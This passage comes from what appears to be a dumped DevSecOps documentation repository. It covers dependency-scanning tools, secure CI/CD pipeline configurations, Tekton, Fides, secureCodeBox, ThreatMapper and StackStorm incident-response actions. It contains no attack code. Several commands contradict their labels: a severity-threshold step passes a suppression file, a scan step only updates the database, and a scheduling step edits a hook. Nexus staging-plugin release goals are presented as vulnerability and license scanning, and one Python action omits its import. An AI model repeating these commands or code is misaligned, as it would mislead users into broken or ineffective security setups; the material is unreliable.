Components\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -Dexclude=com.example:unused-component\n```\n\n\n6- Include Direct Dependencies Only\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DincludeDependencies=false\n```\n\n\n7- Specify Output File\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DoutputFile=/path/to/bom.xml\n```\n\n8- Specify Output Format\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom --format XML\n```\n\n\n## Retire.js\n\n\nYou can use the Retire.js CLI to scan a directory or a specific JavaScript file. Here's an example command to scan a directory:\n\n\n```\nretire --path <directory-path>\n```\n\n\n"
  },
  {
    "path": "docs/code/sca.md",
    "content": "---\nlayout: default\ntitle:  SCA\nparent: Code\n---\n\n# SCA\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\nSCA stands for Software Composition Analysis. It is a type of application security testing that focuses on identifying and managing third-party components and dependencies used within an application. SCA tools scan an application's codebase and build artifacts to identify any third-party libraries or components, and then assess those components for known security vulnerabilities or other issues.\n\n\nthe SCA process typically involves the following steps:\n\n1. **Discovery**: The SCA tool scans the application's codebase and build artifacts to identify any third-party libraries or components used within the application.\n\n2. **Inventory**: The SCA tool creates an inventory of all the third-party components and libraries used within the application, including their versions, license types, and any known security vulnerabilities or issues.\n\n3. **Assessment**: The SCA tool assesses each component in the inventory for known security vulnerabilities or other issues, using sources such as the National Vulnerability Database (NVD) and Common Vulnerabilities and Exposures (CVE) databases.\n\n4. **Remediation**: Based on the results of the assessment, the SCA tool may provide recommendations for remediation, such as upgrading to a newer version of a component, or switching to an alternative component that is more secure.\n\nBy performing SCA, organizations can gain visibility into the third-party components and libraries used within their applications, and can proactively manage any security vulnerabilities or issues associated with those components. This can help to improve the overall security and resilience of the application.\n\nSCA tools work by scanning your codebase and identifying the open source components that are used in your application. They then compare this list against known vulnerabilities in their database and alert you if any vulnerabilities are found. This helps you to manage your open source components and ensure that you are not using any vulnerable components in your application.\n\n\n\n\n\n\n| SCA Tool    | Description   | Languages Supported |\n|:---------------|:---------------------|:---------------------|\n| `Sonatype Nexus Lifecycle\t` | A software supply chain automation and management tool\t | Java, .NET, Ruby, JavaScript, Python, Go, PHP, Swift |\n| `Black Duck` | An open source security and license compliance management tool\t | Over 20 languages including Java, .NET, Python, Ruby, JavaScript, PHP |\n| `WhiteSource` | A cloud-based open source security and license compliance management tool\t | Over 30 languages including Java, .NET, Python, Ruby, JavaScript, PHP |\n| `Snyk` | A developer-first security and dependency management tool\t | Over 40 languages including Java, .NET, Python, Ruby, JavaScript, PHP, Go |\n| `FOSSA` | A software development tool that automates open source license compliance and vulnerability management\t | Over 30 languages including Java, .NET, Python, Ruby, JavaScript, PHP |\n\n\n\n\n\nHere is an example of how to use SCA in a CI/CD pipeline:\n\n1. Choose an SCA tool: There are several SCA tools available in the market, such as Snyk, Black Duck, and WhiteSource. You need to choose an SCA tool that is compatible with your application stack and provides the features that you need.\n\n2. Integrate the tool into your CI/CD pipeline: Once you have chosen an SCA tool, you need to integrate it into your CI/CD pipeline. This can be done by adding a step in your pipeline that runs the SCA tool and reports the results.\n\n3. Configure the tool: You need to configure the SCA tool to scan your application code and identify the open source components that are used in your application. This can be done by providing the tool with access to your source code repository and specifying the dependencies of your application.\n\n4. Analyze the results: Once the SCA tool has finished scanning your codebase, it will generate a report of the open source components that are used in your application and any vulnerabilities that are associated with those components. You need to analyze the report and take action on any vulnerabilities that are identified.\n\n5. Remediate the vulnerabilities: If any vulnerabilities are identified, you need to remediate them by either upgrading the vulnerable components or removing them from your application.\n\n\nHere is an example of a CI/CD pipeline that includes an SCA step:\n\n\n```\nname: MyApp CI/CD Pipeline\n\non:\n  push:\n    branches: [ master ]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n\n    steps:\n    - name: Checkout code\n      uses: actions/checkout@v2\n\n    - name: Build and test\n      run: |\n        npm install\n        npm test\n\n    - name: Run SCA\n      uses: snyk/actions@v1\n      with:\n        file: package.json\n        args: --severity-threshold=high\n\n    - name: Deploy to production\n      if: github.ref == 'refs/heads/master'\n      run: deploy.sh\n\n```\n\n\nIn this example, the SCA tool is integrated into the pipeline using the Snyk GitHub Action. The tool is configured to scan the package.json file and report any vulnerabilities with a severity threshold of \"high\". If any vulnerabilities are identified, the pipeline will fail and the developer will be notified to take action.\n\n\n\n\n## OWASP Dependency-Check\n\n\n1- Perform a scan on a local project\n\n```\ndependency-check.sh --scan <path/to/project>\n```\n\n\n2- Scan a Maven Project\n\n```\ndependency-check.sh --scan <path/to/pom.xml>\n```\n\n\n3- Scan a Gradle Project\n\n```\ndependency-check.sh --scan <path/to/build.gradle>\n```\n\n\n4- Perform a scan on a local project\n\n```\ndependency-check.sh --updateonly\n```\n\n\n5- Specify Database Connection String\n\n```\ndependency-check.sh --scan <path/to/project> --connectionString <db-connection-string>\n```\n\n6- Specify CVSS Severity Threshold\n\n```\ndependency-check.sh --scan <path/to/project> --suppression <suppression-file>\n```\n\n7- Specify Output Format\n\n```\ndependency-check.sh --scan <path/to/project> --format <output-format>\n```\n\n\n\n## scancode-toolkit\n\n\n1. Install scancode-toolkit:\n\n```\npip install scancode-toolkit\n```\n\n\n2. Perform a scan on a specific project or directory\n\n```\nscancode <path-to-project>\n```\n\n3. Generate a scan report in JSON format\n\n```\nscancode --json-pp <path-to-project> > report.json\n```\n\n4. Exclude specific licenses from the scan\n\n```\nscancode --license-exclude <license-name> <path-to-project>\n```\n\n\n\n## Nexus Dependency Management\n\n1. Install Nexus Repository Manager \n\n```\nwget <nexus_download_url> -O nexus.zip\nunzip nexus.zip  \ncd nexus-x.x.x ./bin/nexus start\n```\n\n2. Configure Nexus Repository Manager \n\nOpen web browser and access `http://localhost:8081`\n\n\n\n{: .note }\nIntegrate vulnerability scanning tools like OWASP Dependency Check or Sonatype Nexus IQ with Nexus Repository Manager. These tools can analyze your dependencies for known security vulnerabilities and provide actionable insights to mitigate risks. Regularly scan your repositories for vulnerabilities and apply patches or upgrade dependencies as necessary.\n\n\n{: .note }\nContinuous Integration and Deployment (CI/CD) Integration: Integrate Nexus Repository Manager with your CI/CD pipelines to automate dependency management. Use build tool plugins or APIs provided by Nexus Repository Manager to fetch dependencies and publish artifacts seamlessly within your build and deployment processes.\n\n\n### Dependency Vulnerability Management\n\nIntegrate Nexus Lifecycle or Nexus IQ into your CI/CD pipeline to scan and analyze dependencies for vulnerabilities.\n\n```\n# .gitlab-ci.yml\nstages:\n  - build\n  - test\n\nscan_dependencies:\n  stage: build\n  image: maven:3.8.4\n  script:\n    - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list -B\n    - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-open -B\n    - mvn clean package\n    - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close -B\n  only:\n    - master\n```\n\n### License Compliance\n\nCode: Integrate Nexus Lifecycle or Nexus IQ to scan and enforce license compliance.\n\n```\n# Jenkinsfile\npipeline {\n  agent any\n  stages {\n    stage('Build') {\n      steps {\n        sh 'mvn clean install'\n      }\n    }\n    stage('Scan Licenses') {\n      steps {\n        sh 'mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list'\n        // Perform license compliance checks\n        sh 'mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close'\n      }\n    }\n  }\n}\n```\n\nConfiguration: Configure Nexus Repository Manager to enforce license policies and restrictions.\n\n```\n<!-- pom.xml -->\n<project>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.sonatype.plugins</groupId>\n        <artifactId>nexus-staging-maven-plugin</artifactId>\n        <version>1.6.8</version>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n```\n\n### Continuous Monitoring\n\nCode: Implement continuous monitoring and scanning of your CI/CD pipeline for security vulnerabilities and compliance issues.\n\n```\n# .travis.yml\nlanguage: java\nscript:\n  - mvn clean install\n  - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list\n  # Run additional security scans and tests\n  - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close\n```\n\nConfiguration: Set up automated alerts and notifications for any security or compliance issues detected during the CI/CD process.\n\n```\n<!-- pom.xml -->\n<project>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.sonatype.plugins</groupId>\n        <artifactId>nexus-staging-maven-plugin</artifactId>\n        <version>1.6.8</version>\n        <configuration>\n          <!-- Nexus Repository URL -->\n          <serverId>nexus-server</serverId>\n          <nexusUrl>https://nexus.example.com</nexusUrl>\n          <autoReleaseAfterClose>true</autoReleaseAfterClose>\n        </configuration>\n        <executions>\n          <execution>\n            <id>default-deploy</id>\n            <phase>deploy</phase>\n            <goals>\n              <goal>deploy</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <!-- Other project configurations -->\n</project>\n```\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/code/secure-pipeline.md",
    "content": "---\nlayout: default\ntitle:  Secure Pipeline\nparent: Code\n---\n\n# Secure Pipeline\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\nA secure pipeline is a set of processes and tools used to build, test, and deploy software in a way that prioritizes security at every stage of the development lifecycle. The goal of a secure pipeline is to ensure that applications are thoroughly tested for security vulnerabilities and compliance with security standards before they are released into production.\n\n\nA secure pipeline typically involves the following stages:\n\n1. Source Code Management: Developers use source code management tools, such as Git or SVN, to manage the code for the application.\n\n2. Build: The application code is built into executable code using a build tool, such as Maven or Gradle.\n\n3. Static Analysis: A static analysis tool, such as a SAST tool, is used to scan the code for security vulnerabilities.\n\n4. Unit Testing: Developers write unit tests to ensure that the application functions as expected and to catch any bugs or errors.\n\n5. Dynamic Analysis: A dynamic analysis tool, such as a DAST tool, is used to test the application in a running environment and identify any security vulnerabilities.\n\n6. Artifact Repository: The application and all its dependencies are stored in an artifact repository, such as JFrog or Nexus.\n\n7. Staging Environment: The application is deployed to a staging environment for further testing and validation.\n\n8. Compliance Check: A compliance tool is used to check that the application meets any regulatory or compliance requirements.\n\n9. Approval: The application is reviewed and approved for deployment to production.\n\n10. Deployment: The application is deployed to production using a deployment tool, such as Ansible or Kubernetes.\n\nBy implementing a secure pipeline, organizations can ensure that their applications are thoroughly tested for security vulnerabilities and compliance with security standards, reducing the risk of security breaches and ensuring that applications are more resilient to attacks.\n\n\n\n\n\n\nStep 1: Set up version control\n\n* Use a version control system (VCS) such as Git to manage your application code.\n* Store your code in a private repository and limit access to authorized users.\n* Use strong authentication and authorization controls to secure access to your repository.\n\nStep 2: Implement continuous integration\n\n* Use a continuous integration (CI) tool such as Jenkins or Travis CI to automate your build process.\n* Ensure that your CI tool is running in a secure environment.\n* Use containerization to isolate your build environment and prevent dependencies from conflicting with each other.\n\nStep 3: Perform automated security testing\n\n* Use SAST, DAST, and SCA tools to perform automated security testing on your application code.\n* Integrate these tools into your CI pipeline so that security testing is performed automatically with each build.\n* Configure the tools to report any security issues and fail the build if critical vulnerabilities are found.\n\nStep 4: Implement continuous deployment\n\n* Use a continuous deployment (CD) tool such as Kubernetes or AWS CodeDeploy to automate your deployment process.\n* Implement a release process that includes thorough testing and review to ensure that only secure and stable code is deployed.\n\nStep 5: Monitor and respond to security threats\n\n* Implement security monitoring tools to detect and respond to security threats in real-time.\n* Use tools such as intrusion detection systems (IDS) and security information and event management (SIEM) systems to monitor your infrastructure and applications.\n* Implement a security incident response plan to quickly respond to any security incidents that are detected.\n\n\nexample of a secure CI/CD pipeline\n\n\n```\n# Define the pipeline stages\nstages:\n  - build\n  - test\n  - security-test\n  - deploy\n\n# Define the jobs for each stage\njobs:\n  build:\n    # Build the Docker image and tag it with the commit SHA\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n      - name: Build Docker image\n        run: |\n          docker build -t myapp:${{ github.sha }} .\n          docker tag myapp:${{ github.sha }} myapp:latest\n\n  test:\n    # Run unit and integration tests\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n      - name: Install dependencies\n        run: npm install\n      - name: Run tests\n        run: npm test\n\n  security-test:\n    # Perform automated security testing using SAST, DAST, and SCA tools\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n      - name: Perform SAST\n        uses: shiftleftio/action-sast@v3.3.1\n        with:\n          scan-targets: .\n          shiftleft-org-id: ${{ secrets.SHIFTLEFT_ORG_ID }}\n          shiftleft-api-key: ${{ secrets.SHIFTLEFT_API_KEY }}\n      - name: Perform DAST\n        uses: aquasecurity/trivy-action@v0.5.0\n        with:\n          image-ref: myapp:${{ github.sha }}\n      - name: Perform SCA\n        uses: snyk/actions@v1\n        with:\n          file: package.json\n          args: --severity-threshold=high\n\n  deploy:\n    # Deploy the application to the production environment\n    runs-on: ubuntu-latest\n    if: github.ref == 'refs/heads/master'\n    steps:\n      - name: Deploy to production\n        uses: appleboy/ssh-action@master\n        with:\n          host: production-server.example.com\n          username: ${{ secrets.PRODUCTION_SERVER_USERNAME }}\n          password: ${{ secrets.PRODUCTION_SERVER_PASSWORD }}\n          script: |\n            docker pull myapp:latest\n            docker stop myapp || true\n            docker rm myapp || true\n            docker run -d --name myapp -p 80:80 myapp:latest\n```\n\n\n\nIn this example, the YAML file defines a CI/CD pipeline with four stages: build, test, security-test, and deploy. Each stage has a job that performs a specific set of tasks. The `build` job builds a Docker image for the application, the `test` job runs unit and integration tests, the `security-test` job performs automated security testing using SAST, DAST, and SCA tools, and the `deploy` job deploys the application to the production environment.\n\nEach job is defined with a `runs-on` parameter that specifies the operating system that the job should run on. The steps for each job are defined with `name` and `run` parameters that specify the name of the step and the command to run. The `uses` parameter is used to specify external actions or packages that should be used in the step.\n\nThe `if` parameter is used to conditionally run a job based on a specific condition, such as the branch or tag that triggered the pipeline. Secrets are stored in the GitHub repository's secrets store and accessed using the `${{ secrets.SECRET_NAME }}` syntax.\n\n\n## Buildkite\n\nWithin your pipeline configuration file (e.g., `.buildkite/pipeline.yml`), add a step for running the vulnerability scanning tool.\n\n```\nsteps:\n  - label: \"Security Scan\"\n    command: |\n      # Run the vulnerability scanning tool\n      # Replace the command and options with the appropriate tool you're using\n      my-vulnerability-scanner scan --output report.txt\n\n      # Print the generated report\n      cat report.txt\n\n    # Define the conditions when this step should run (e.g., on specific branches or pull requests)\n    branches: master\n```\n\n## Travis\n\nOpen your project's `.travis.yml` file for editing.\n\n\n```\nscript:\n  - |\n    # Run the vulnerability scanning tool\n    # Replace the command and options with the appropriate tool you're using\n    my-vulnerability-scanner scan --output report.txt\n\n    # Print the generated report\n    cat report.txt\n```\n\n\n## Drone\n\nOpen your project's `.drone.yml` file for editing.\n\n```\npipeline:\n  security:\n    image: your-vulnerability-scanner-image\n    commands:\n      - |\n        # Run the vulnerability scanning tool\n        # Replace the command and options with the appropriate tool you're using\n        my-vulnerability-scanner scan --output report.txt\n\n        # Print the generated report\n        cat report.txt\n```\n\n\n\n\n\n## Tekton\n\n### Sample Flow\n\n1- Create a Dockerfile:\n\n```\nFROM golang:1.16-alpine\nWORKDIR /app\nCOPY . .\nRUN go build -o myapp\nCMD [\"./myapp\"]\n```\n\n2- Create a Tekton Task (build-task.yaml):\n\n```\napiVersion: tekton.dev/v1beta1\nkind: Task\nmetadata:\n  name: build-task\nspec:\n  steps:\n    - name: build\n      image: golang:1.16-alpine\n      workingDir: /workspace/source\n      command:\n        - go\n      args:\n        - build\n        - -o\n        - /workspace/myapp\n        - .\n      volumeMounts:\n        - name: workspace\n          mountPath: /workspace\n    - name: package\n      image: alpine\n      command:\n        - tar\n      args:\n        - czf\n        - /workspace/myapp.tar.gz\n        - -C\n        - /workspace\n        - myapp\n      volumeMounts:\n        - name: workspace\n          mountPath: /workspace\n    - name: publish\n      image: ubuntu\n      command:\n        - echo\n      args:\n        - \"Publishing artifact: /workspace/myapp.tar.gz\"\n      volumeMounts:\n        - name: workspace\n          mountPath: /workspace\n  volumes:\n    - name: workspace\n      emptyDir: {}\n```\n\n3- Create a Tekton Pipeline (pipeline.yaml):\n\n\n```\napiVersion: tekton.dev/v1beta1\nkind: Pipeline\nmetadata:\n  name: myapp-pipeline\nspec:\n  tasks:\n    - name: build-task\n      taskRef:\n        name: build-task\n```\n\n4- Apply the Task and Pipeline:\n\n```\nkubectl apply -f build-task.yaml\nkubectl apply -f pipeline.yaml\n```\n\n5- Create a Tekton PipelineRun (pipelinerun.yaml):\n\n```\napiVersion: tekton.dev/v1beta1\nkind: PipelineRun\nmetadata:\n  name: myapp-pipelinerun\nspec:\n  pipelineRef:\n    name: myapp-pipeline\n```\n\n6- Apply the PipelineRun:\n\n```\nkubectl apply -f pipelinerun.yaml\n```\n\n\n\n### Cheatsheet\n\n1- Install Tekton Pipelines  \n\n```\nkubectl apply --filename https://storage.googleapis.com/tekton-releases/pipeline/latest/release.yaml\n```\n\n2- Create a Task \n\n```\nkubectl apply --filename <task-definition.yaml>\n```\n\n3- Create a Pipeline \n\n```\nkubectl apply --filename <pipeline-definition.yaml>\n```\n\n4- Create a PipelineRun  \n\n```\nkubectl apply --filename <pipelinerun-definition.yaml>\n```\n\n5- List Pipelines  \n\n```\ntkn pipeline list\n```\n\n6- Describe a Pipeline \n\n```\ntkn pipeline describe <pipeline-name>\n```\n\n7- List PipelineRuns \n\n```\ntkn pipelinerun list\n```\n\n8- Describe a PipelineRun  \n\n```\ntkn pipelinerun describe <pipelinerun-name>\n```\n\n9- List Tasks  \n\n```\ntkn task list\n```\n\n10- Describe a Task \n\n```\ntkn task describe <task-name>\n```\n\n11- List TaskRuns \n\n```\ntkn taskrun list\n```\n\n12- Describe a TaskRun  \n\n```\ntkn taskrun describe <taskrun-name>\n```\n\n13- Create a TriggerBinding \n\n```\nkubectl apply --filename <triggerbinding-definition.yaml>\n```\n\n14- Create a TriggerTemplate  \n\n```\nkubectl apply --filename <triggertemplate-definition.yaml>\n```\n\n15- Create a Trigger  \n\n```\nkubectl apply --filename <trigger-definition.yaml>\n```\n\n16- List Triggers \n\n```\ntkn trigger list\n```\n\n17- Describe a Trigger  \n\n```\ntkn trigger describe <trigger-name>\n```\n\n18- Delete a Pipeline \n\n```\nkubectl delete pipeline <pipeline-name>\n```\n\n19- Delete a PipelineRun  \n\n```\nkubectl delete pipelinerun <pipelinerun-name>\n```\n\n20- Delete a Task \n\n```\nkubectl delete task <task-name>\n```\n\n\n\n\n\n\n## Privacy as Code\n\n\nInstalls the Fides tool using pip, the Python package manager\n\n```\npip install fides\n```\n\nScans the specified directory for privacy-related issues and sensitive data\n\n```\nfides scan <directory_path>\n```\n\n\nGenerates a detailed report of the scan results and saves it to the specified output file\n\n```\nfides report -o <output_file>\n```\n\n\nSpecifies a pattern to exclude specific files or directories from the scan\n\n```\nfides scan --exclude <pattern>\n```\n\n\nUses a custom ruleset file for the scan, allowing you to define specific privacy rules and checks\n\n```\nfides scan --ruleset <ruleset_file>\n```\n\n\nIgnores specific patterns or files from triggering false positive alerts during the scan.\n\n```\nfides scan --ignore <pattern>\n```\n\nSets the output format for the generated report, such as JSON, CSV, or HTML\n\n```\nfides report --format <output_format>\n```\n\n\nConfigures the scan to exit with a non-zero code if privacy issues are detected, enabling integration with CI/CD pipelines.\n\n```\nfides scan --exit-code\n```\n\n## Continuous deployment security\n\n### secureCodeBox\n\nInstall secureCodeBox \n\n```\nkubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/deploy/complete.yaml\n```\n\n2.  Run a vulnerability scan  \n\n```\nkubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/demo/scan-job.yaml\n```\n\n3.  Monitor scan progress \n\n```\nkubectl get scan -w\n```\n\n4.  View scan results \n\n```\nkubectl describe scan <scan-name>\n```\n\n5. Integrate secureCodeBox with other security tools:\n\n```\nsecurecodebox-cli scan start --target <target-url> --scan-type <scan-type> --integration <integration-name>\nor\nExample: securecodebox-cli scan start --target https://example.com --scan-type zap-scan --integration jira\n```\n\n6. Schedule regular scans using Kubernetes CronJobs\n\n```\nkubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/demo/scheduled-scan.yaml\n```\n\n7. Integrate secureCodeBox with your CI/CD pipeline:\n\n```\nsecurecodebox-cli scan start --target <target-url> --scan-type <scan-type> --pipeline <pipeline-name>\nor\nExample: securecodebox-cli scan start --target https://example.com --scan-type nmap-scan --pipeline my-cicd-pipeline\n```\n\n8. Schedule regular scans using Kubernetes CronJobs\n\n```\nkubectl edit hook <hook-name>\n```\n\n\n### ThreatMapper\n\n1. Install ThreatMapper\n\n```\ngit clone https://github.com/deepfence/ThreatMapper.git\ncd ThreatMapper\n./install.sh\n```\n\n2. Perform a security assessment on a specific target:\n\n```\nthreat-mapper scan <target-ip>\n```\n\n3. View the scan results:\n\n```\nthreat-mapper report <scan-id>\n```\n\n4. Integrate ThreatMapper with your CI/CD pipeline:\n\n```\nthreat-mapper scan --target <target-ip> --pipeline <pipeline-name>\nExample: threat-mapper scan --target 192.168.0.1 --pipeline my-cicd-pipeline\n```\n\n5. Customize scan policies by modifying the configuration files:\n\n```\nvim ~/.threat-mapper/config.yaml\n```\n\n6. Enable notifications for scan results:\n\n```\nvim ~/.threat-mapper/config.yaml\n```\n\n7. Configure the desired notification settings, such as email notifications or Slack alerts.\n\n```\ncrontab -e\n```\n\nAdd a cron job entry to execute the threat-mapper scan command at specified intervals.\n\n8. Integrate ThreatMapper with other security tools:\n\n```\nthreat-mapper scan --target <target-ip> --integration <integration-name>\nExample: threat-mapper scan --target 192.168.0.1 --integration jira\n```\n\nMonitor and address security issues based on the scan results:\nRegularly review the scan reports and take necessary actions to remediate the identified security issues.\n\n9. Generate visualizations and reports\n\n```\nthreat-mapper visualize <scan-id>\n```\n\nThis command generates visualizations of the scan results, such as network diagrams and attack surface maps.\n\n\n\n## StackStorm\n\n\n\n### Automated Vulnerability Scanning:\n\nDescription: Schedule regular vulnerability scans using a scanning tool like Nessus or Qualys.\n\nCommand/Code: `st2 run vulnerability_scanner.scan`\n\nTo schedule regular vulnerability scans using a scanning tool like Nessus or Qualys with StackStorm (st2), you can create a custom StackStorm pack and define a Python action that invokes the vulnerability scanning tool's API. Here's an example code snippet:\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create vulnerability_scanner\n```\n\n- [ ] Create a new Python action file scan.py within the pack:\n\n\n```\n# vulnerability_scanner/actions/scan.py\n\nfrom st2common.runners.base_action import Action\n\nclass VulnerabilityScanAction(Action):\n    def run(self):\n        # Code to invoke the vulnerability scanning tool's API\n        # Example: Nessus API call to start a scan\n        # Replace <nessus_api_url>, <access_token>, and <scan_id> with your actual values\n        response = requests.post(\n            url=\"<nessus_api_url>/scans/<scan_id>/launch\",\n            headers={\"X-ApiKeys\": \"<access_token>\"},\n        )\n        if response.status_code == 200:\n            return True\n        else:\n            return False\n```\n\n- [ ] Register the action in the pack.yaml file:\n\n```\n# vulnerability_scanner/pack.yaml\n\nactions:\n  - vulnerability_scanner/actions/scan.py\n```\n\nThis code provides a basic structure for invoking a vulnerability scanning tool's API. You would need to modify it to fit your specific scanning tool's API and authentication method. \n\n\n\n\n\n\n\n### Vulnerability Assessment:\n\nDescription: Retrieve vulnerability scan results and analyze them for critical vulnerabilities.\n\nCommand/Code: `st2 run vulnerability_scanner.analyze_scan`\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create vulnerability_assessment\n```\n\n\n- [ ] Create a new Python action file analyze.py within the pack:\n\n\n```\n# vulnerability_assessment/actions/analyze.py\n\nfrom st2common.runners.base_action import Action\nimport requests\n\nclass VulnerabilityAssessmentAction(Action):\n    def run(self):\n        # Code to fetch vulnerability scan results from the scanning tool's API\n        # Example: Nessus API call to retrieve scan results\n        # Replace <nessus_api_url>, <access_token>, and <scan_id> with your actual values\n        response = requests.get(\n            url=\"<nessus_api_url>/scans/<scan_id>/results\",\n            headers={\"X-ApiKeys\": \"<access_token>\"},\n        )\n\n        if response.status_code == 200:\n            results = response.json()\n            # Perform analysis on the scan results\n            # Example: Check for critical vulnerabilities\n            critical_vulnerabilities = []\n            for result in results:\n                if result[\"severity\"] == \"Critical\":\n                    critical_vulnerabilities.append(result[\"name\"])\n            return critical_vulnerabilities\n        else:\n            return None\n```\n\n\n\n- [ ] Register the action in the pack.yaml file:\n\n```\n# vulnerability_assessment/pack.yaml\n\nactions:\n  - vulnerability_assessment/actions/analyze.py\n```\n\nThis code provides a basic structure for fetching vulnerability scan results from a scanning tool's API and performing analysis on them. You would need to modify it to fit your specific scanning tool's API and authentication method. Additionally, you can customize the analysis logic to suit your specific requirements.\n\n\n\n\n### Incident Trigger:\n\nDescription: Detect a critical vulnerability and trigger an incident response workflow.\n\nCommand/Code: `st2 run incident.trigger`\n\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create incident_investigation\n```\n\n\n\n\n- [ ] Create a new Python action file gather_info.py within the pack:\n\n\n```\n# incident_investigation/actions/gather_info.py\n\nfrom st2common.runners.base_action import Action\nimport requests\n\nclass IncidentInvestigationAction(Action):\n    def run(self, vulnerability):\n        # Code to gather additional information about the vulnerability\n        # Example: Query relevant logs or systems\n        # Replace <log_url> and <search_query> with your actual values\n        response = requests.get(\n            url=f\"<log_url>/search?query={vulnerability}\"\n        )\n\n        if response.status_code == 200:\n            logs = response.json()\n            # Perform further analysis or extract relevant information from logs\n            # Example: Return the log entries related to the vulnerability\n            return logs\n        else:\n            return None\n```\n\n\n\n\n- [ ] Register the action in the pack.yaml file:\n\n\n```\n# incident_investigation/pack.yaml\n\nactions:\n  - incident_investigation/actions/gather_info.py\n```\n\n\n\n- [ ] Run the incident investigation action:\n\n\n```\nst2 run incident_investigation.gather_info vulnerability=<vulnerability_name>\n```\n\n\nThis code provides a basic structure for gathering additional information about a vulnerability by querying relevant logs or systems. You would need to modify it to fit your specific log sources or systems and the query syntax for retrieving the relevant information.\n\n\n\n\n\n\n### Incident Investigation:\n\nDescription: Gather additional information about the vulnerability by querying relevant logs or systems.\n\nCommand/Code: `st2 run incident.investigate`\n\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create incident_investigation\n```\n\n\n\n- [ ] Create a new integration file investigate_vulnerability.yaml within the pack:\n\n\n```\n# incident_investigation/integrations/investigate_vulnerability.yaml\n\nname: investigate_vulnerability\ndescription: Gather additional information about a vulnerability by querying relevant logs or systems.\n\nactions:\n  - name: query_logs\n    description: Query logs to gather information about the vulnerability\n    enabled: true\n    entry_point: query_logs.py\n    runner_type: \"python-script\"\n```\n\n\n\n\n- [ ] Create a new Python script file query_logs.py within the pack:\n\n\n```\n# incident_investigation/actions/query_logs.py\n\nimport requests\nfrom st2common.runners.base_action import Action\n\nclass QueryLogsAction(Action):\n    def run(self, vulnerability):\n        # Code to query relevant logs or systems\n        # Replace <log_url> and <search_query> with your actual values\n        response = requests.get(\n            url=f\"<log_url>/search?query={vulnerability}\"\n        )\n\n        if response.status_code == 200:\n            logs = response.json()\n            # Perform further analysis or extract relevant information from logs\n            # Example: Return the log entries related to the vulnerability\n            return logs\n        else:\n            return None\n```\n\n\n\n- [ ] Register the integration in the pack.yaml file:\n\n\n```\n# incident_investigation/pack.yaml\n\nintegrations:\n  - integrations/investigate_vulnerability.yaml\n```\n\n\n\n\n\n\n\n### Notification and Alerting:\n\nDescription: Send notifications to the incident response team or stakeholders via Slack, email, or other communication channels.\n\nCommand/Code: `st2 run notification.send`\n\n\n\n- [ ] Create a new StackStorm pack:\n\n\n\n```\nst2 pack create notification_alerting\n```\n\n\n\n\n- [ ] Create a new integration file send_notification.yaml within the pack:\n\n\n\n```\n# notification_alerting/integrations/send_notification.yaml\n\nname: send_notification\ndescription: Send notifications to the incident response team or stakeholders\n\nactions:\n  - name: send_slack_notification\n    description: Send a notification to a Slack channel\n    enabled: true\n    entry_point: send_slack_notification.py\n    runner_type: \"python-script\"\n\n  - name: send_email_notification\n    description: Send a notification via email\n    enabled: true\n    entry_point: send_email_notification.py\n    runner_type: \"python-script\"\n```\n\n\n\n\n- [ ] Create a new Python script file send_slack_notification.py within the pack:\n\n\n\n```\n# notification_alerting/actions/send_slack_notification.py\n\nimport requests\nfrom st2common.runners.base_action import Action\n\nclass SendSlackNotificationAction(Action):\n    def run(self, message, channel):\n        # Code to send Slack notification\n        # Replace <slack_webhook_url> with your actual webhook URL\n        webhook_url = \"<slack_webhook_url>\"\n        payload = {\n            \"text\": message,\n            \"channel\": channel\n        }\n        response = requests.post(url=webhook_url, json=payload)\n\n        if response.status_code == 200:\n            return True\n        else:\n            return False\n```\n\n\n\n- [ ] Create a new Python script file send_email_notification.py within the pack:\n\n\n\n```\n# notification_alerting/actions/send_email_notification.py\n\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom st2common.runners.base_action import Action\n\nclass SendEmailNotificationAction(Action):\n    def run(self, message, recipient, sender, subject):\n        # Code to send email notification\n        # Replace <smtp_server>, <smtp_port>, <smtp_username>, and <smtp_password> with your email server details\n        smtp_server = \"<smtp_server>\"\n        smtp_port = <smtp_port>\n        smtp_username = \"<smtp_username>\"\n        smtp_password = \"<smtp_password>\"\n\n        email_message = MIMEText(message)\n        email_message[\"Subject\"] = subject\n        email_message[\"From\"] = sender\n        email_message[\"To\"] = recipient\n\n        try:\n            with smtplib.SMTP(smtp_server, smtp_port) as server:\n                server.login(smtp_username, smtp_password)\n                server.send_message(email_message)\n            return True\n        except Exception as e:\n            return 